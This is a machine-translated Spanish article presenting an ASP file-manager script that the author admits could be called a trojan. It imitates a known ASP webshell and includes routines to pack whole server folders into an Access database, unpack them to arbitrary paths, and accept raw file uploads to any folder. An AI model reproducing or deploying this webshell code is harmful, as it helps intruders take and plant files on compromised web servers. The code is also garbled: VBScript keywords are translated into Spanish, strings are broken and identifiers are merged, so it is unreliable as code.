Explorador de archivos FSO

Este es un explorador de archivos FSO escrito utilizando objetos de la colección FSO (si insistes en decir que es un troyano, no tengo objeciones. Funcionalmente, imita el diseño del "Top Trojan of the Ocean", pero el código está completamente reescrito). . Utilizar componentes como Shell.Application que fácilmente pueden provocar la muerte accidental por parte del software antivirus. Hay muchas herramientas similares en Internet. El valor de uso de esta herramienta no es muy bueno, pero muchos de los códigos que contiene se consideran bien escritos.

Las características clave incluyen:

Vea información del disco, explore archivos de disco y opere de manera similar al Explorador de Windows, como crear, eliminar, cambiar el nombre, copiar, mover y otras operaciones básicas de edición de archivos de texto.
La descarga de archivos en modo Stream simplifica y optimiza el empaquetado/desempaquetado de archivos de carga sin componentes. Una carpeta se puede empaquetar/desempaquetar completamente.

Fragmento de código:

1. Parte de embalaje/desembalaje de archivos

1. ============================ Proceso de empaquetado y desempaquetado de archivos ================= = =============
2. Empaquetado de archivos
3. Subpaquete ( ByVal FPath, ByVal sDbPath)
4. Servidor.ScriptTimeOut=900
5.      Dim DbPath
6.      Si Derecho(sDbPath,4)= ".mdb"   Entonces
7. RutaDb=sRutaDb
8.      Demás
9. DbPath=sDbPath ".mdb"
10.      Fin   Si
12.      Si oFso.FolderExists (DbPath) Entonces
13. EchoBack "¡No se puede crear el archivo de base de datos!" &Replace(DbPath, ""," \")
14.          Salida   Sub
15.      Fin   Si
16.      Si oFso.FileExists (DbPath) Entonces
17. oFso.DeleteFile DbPath
18.      Fin   Si
20.      Si esCarpeta(FPath) Entonces
21. RootPath=GetParentFolder(FPath)
22.          Si es correcto(RootPath,1)<> "" Entonces RootPath=RootPath&" "
23.      Demás
24. EchoBack "¡Ingrese la ruta de la carpeta!"
25.          Salida   Sub
26.      Fin   Si
28.      Dim oCatalog,connStr,DataName
29.      Establecer conexión=Server.CreateObject( "ADODB.Connection" )
30.      Establecer oStream=Server.CreateObject( "ADODB.Stream" )
31.      Establecer oCatalog=Server.CreateObject( "ADOX.Catalog" )
32.      Establecer rs=Server.CreateObject( "ADODB.RecordSet" )
33.      En   Error   Reanudar   Próximo
34. connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Fuente de datos=" & DbPath
35. oCatalog.Crear connStr
36.      Si se equivoca entonces
37. EchoBack "¡No se puede crear el archivo de base de datos!" &Replace(DbPath, ""," \")
38.          Salida   Sub
39.      Fin   Si
40.      Establecer oCatalog= Nada
41. conn.Abrir connStr
42. conn.Execute( "Crear archivos de tabla (ID int IDENTITY (0,1) CLAVE PRIMARIA AGRUPADA, FilePath VarChar, FileData Image)" )
43. oStream.Open
44. oStream.Type=1
45. rs.Abrir "Archivos" , conn,3,3
46. NombreDatos=Izquierda(oFso.GetFile(DbPath).Nombre,InstrRev(oFso.GetFile(DbPath).Nombre, "." )-1)
47. NoPackFiles=Reemplazar(NoPackFiles, "<$archivodedatos>" ,NombreDatos)
49. Lista de archivos fallidos = ""          Lista de archivos que no se pudieron empaquetar
50. PaqueteCarpetaFPath
51.      Si FailFilelist = ""   Entonces
52. EchoClose "¡Embalaje de carpeta exitoso!"
53.      Demás
54. Response.Write ""
55. Response.Write ""
56. Respuesta.Escribir "" &Replace(FailFilelist, "|" , "
    " ) ""
57.      Fin   Si
58. oStream.Cerrar
59. rs.Cerrar
60. conexión.Cerrar
61. Fin   Sub
62. Agregar carpeta (recursivamente)
63. Carpeta del subpaquete (ruta de la carpeta)
64.      Si   No es carpeta (ruta de carpeta) entonces   Salida   Sub
65.      Dim oCarpeta,sArchivo,sCarpeta
66.      Establecer oFolder=oFso.GetFolder(FolderPath)
67.      Para   Cada sFile en oFolder.Files
68.          Si InStr(NoPackFiles, "|" &sFile.Name "|" )<1 Entonces
69. PackFile sFile.Path
70.          Fin   Si
71.      Próximo
72.      Establecer sFile = Nada
73.      Para   Cada carpeta en oFolder.SubFolders
74. PaqueteCarpeta sCarpeta.Ruta
75.      Próximo
76.      Establecer sFolder = Nada
77. Fin   Sub
78. Agregar archivos
79. SubpaqueteArchivo (RutadelArchivo)
80.      RelPath tenue
81. RelPath=Reemplazar(RutaDeArchivo,RutaRaíz, "" )
82.      Respuesta.Escribir RelPath & "
    "
83.      En   Error   Reanudar   Próximo
84. Err.Borrar
85. Err= Falso
86. oStream.LoadFromFile Ruta del archivo
87. rs.AñadirNuevo
88. rs( "RutaDeArchivo" )=RutaRel
89. rs( "FileData" )=oStream.Read()
90. rs.Actualizar
91.      Si se equivoca entonces
92.          Error al empaquetar un archivo
93. FailFilelist=Lista de archivos fallidos y ruta de archivo "|"
94.      Fin   Si
95. Fin   Sub
97. ==================================================== ===========================
98. Descomprimir archivos
99. Subdescomprimir (vFolderPath,DbPath)
100. Servidor.ScriptTimeOut=900
101.      Dim FilePath,FolderPath,sFolderPath
102. Ruta de carpeta = ruta de carpeta v
103. Ruta de la carpeta = Recortar (Ruta de la carpeta)
104.      Si Mid(FolderPath,2,1)<> ":"   Entonces
105. EchoBack "¡El formato de la ruta es incorrecto y no se puede crear el directorio!"
106.          Salida   Sub
107.      Fin   Si
109.      Si Derecha(RutaCarpeta,1)= ""   Entonces FolderPath = Izquierda (FolderPath, Len (FolderPath) -1)
110.      ConnStr tenue
111.      Establecer conexión=Server.CreateObject( "ADODB.Connection" )
112.      Establecer oStream=Server.CreateObject( "ADODB.Stream" )
113.      Establecer rs=Server.CreateObject( "ADODB.RecordSet" )
114. connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Fuente de datos=" & DbPath
115.      En   Error   Reanudar   Próximo
116. Err= Falso
117. conn.Abrir connStr
118.      Si se equivoca entonces
119. EchoBack "¡Error al abrir la base de datos!"
120.          Salida   Sub
121.      Fin   Si
122. Err= Falso
123. oStream.Open
124. oStream.Type=1
125. rs.Abrir "Archivos" , conn,1,1
126. Lista de archivos fallidos = ""          Borrar lista de archivos fallidos
127.      Hacer   Hasta rs.EOF
128. Err.Borrar
129. Err= Falso
130. RutaDeArchivo=RutaDeCarpeta ""&rs(" RutaDeArchivo")
131. FilePath=Reemplazar(FilePath, "\", ")
132. sFolderPath=Izquierda(FilePath,InStrRev(FilePath, "" ))
133.          Si   No oFso.FolderExists(sFolderPath) Entonces
134. Crear carpeta (sFolderPath)
135.          Fin   Si
136. oStream.SetEos()
137. oStream.Write rs ( "FileData" )
138. oStream.SaveToFile FilePath,2
140.          Si se equivoca entonces          Agregar elemento de archivo fallido
141. FailFilelist=FailFilelist&rs( "FilePath" ).Valor "|"
142.          Fin   Si
144. rs.MoverSiguiente
145.      Bucle
146. rs.Cerrar
147.      Establecer rs = Nada
148. conexión.Cerrar
149.      Establecer conexión = Nada
150.      Establecer oStream = Nada
151.      Si FailFilelist = ""   Entonces
152. EchoClose "¡El archivo se descomprimió correctamente!"
153.      Demás
154. Response.Write ""
155. Response.Write ""
156. Respuesta.Escribir "" &Replace(FailFilelist, "|" , "
     " ) ""
157.      Fin   Si
158. Fin   Sub
159. ==================================================== ===========================

2. Parte de carga de archivos (archivo único):

1. Guarde el archivo cargadoSub
2. Saveupload ( ByVal FolderName)
3.      Si   Not IsFolder(FolderName) Then
4. EchoClose "¡No se ha especificado ninguna carpeta de carga!"
5.          Salida   Sub
6.      Fin   Si
7.      Ruta tenue ,
8. ruta IsOverWrite = nombre de carpeta
9.      Si es correcto(Ruta,1)<> "" Entonces Ruta=Ruta&" "
10. Nombre de archivo=Reemplazar(Solicitud( "nombre de archivo" ), ""," ")
11.      Si Len(FileName)<1 Entonces
12. EchoBack "¡Seleccione el archivo e ingrese el nombre del archivo!"
13.          Salida   Sub
14.      Fin   Si
15. ruta = ruta
16.      Si LCase(Solicitud( "sobrescribir" ))= "verdadero"   Entonces
17. IsOverWrite = Verdadero
18.      De lo contrario
19. IsOverWrite = Falso
20.      Fin   Si
21.      En   Error   Reanudar   Próximo
22.      Llamar a MyUpload(Ruta,IsOverWrite)
23.      Si Err Then
24. EchoBack "¡Falló la carga del archivo! (Es posible que el archivo ya exista)"
25.      De lo contrario
26. EchoClose "¡El archivo se cargó correctamente!n" y Reemplazar (nombre de archivo, "", " \")
27.      Fin   Si
28. finaliza  
29. Código principal de carga de subarchivos
30. Sub
31. MyUpload (FilePath,IsOverWrite)
32.      Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
33. RequestSize=Request.TotalBytes
34.      Si el tamaño de solicitud <1, entonces   Salida   Sub
35.      Establecer oStream=Server.CreateObject( "ADODB.Stream" )
36.      Establecer tStream=Server.CreateObject( "ADODB.Stream" )
37.      Con oStream
38. .Type=1
39. .Mode=3
40. .Open
41. .Write=Request.BinaryRead(RequestSize)
42. .Position=0
43. sData=.Read
44. bCrLf=ChrB(13)&ChrB(10)
45. iSpaceEnd=InStrB(sData,bCrLf)-1
46. sSpace =LeftB(sData,iSpaceEnd)
47. iInfoStart=iSpaceEnd+3
48. iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
49. iFileStart=iInfoEnd+5
50. iFileEnd=InStrB(iFileStart,sData,sSpace)-3
51. sData= ""      Borrar datos del archivo
52. iFileSize=iFileEnd-iFileStart+1
53. tStream.Type=1
54. tStream.Mode=3
55. tStream.Open
56. .Position=iFileStart-1
57. .CopyTo tStream,iFileSize
58.          Si IsOverWrite entonces
59. tStream.SaveToFile FilePath,2
60.          De lo contrario
61. tStream.SaveToFile FilePath
62.          Fin   Si
63. tStream.Close
64. .Close
65.      Fin   Con
66.      SettStream = Nada
67.      Establecer oStream= Nada
68. termina   Sub